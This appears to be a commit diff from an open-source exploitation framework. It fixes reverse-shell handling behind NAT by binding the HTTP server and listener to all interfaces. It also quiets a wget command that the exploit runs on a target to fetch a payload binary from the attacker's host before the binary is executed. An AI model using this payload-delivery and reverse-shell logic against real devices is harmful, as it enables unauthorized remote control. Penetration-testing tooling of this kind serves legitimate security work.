Unverified Commit f538af1d by Marcin Bury Committed by GitHub

Fixing reverse shell with nat (#436)

parent 62b83fb4
......@@ -224,7 +224,9 @@ class Communication(object):
# run http server
self.mutex = True
thread = threading.Thread(target=self.http_server, args=(self.options["lhost"], self.options["lport"]))
all_interfaces = "0.0.0.0"
thread = threading.Thread(target=self.http_server, args=(all_interfaces, self.options["lport"]))
thread.start()
while self.mutex:
......@@ -236,12 +238,12 @@ class Communication(object):
# wget binary
print_status("Using wget to download binary")
cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
self.options["lhost"],
self.options["lport"],
self.binary_name,
self.location,
self.binary_name)
cmd = "{} http://{}:{}/{} -qO {}/{}".format(binary,
self.options["lhost"],
self.options["lport"],
self.binary_name,
self.location,
self.binary_name)
self.exploit.execute(cmd)
return True
......@@ -328,9 +330,10 @@ class Communication(object):
return commands
def reverse_tcp(self):
sock = self.listen(self.options["lhost"], self.options["lport"])
all_interfaces = "0.0.0.0"
sock = self.listen(all_interfaces, self.options["lport"])
if self.port_used:
print_error("Could not set up listener on {}:{}".format(self.options["lhost"], self.options["lport"]))
print_error("Could not set up listener on {}:{}".format(all_interfaces, self.options["lport"]))
return
# execute binary
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment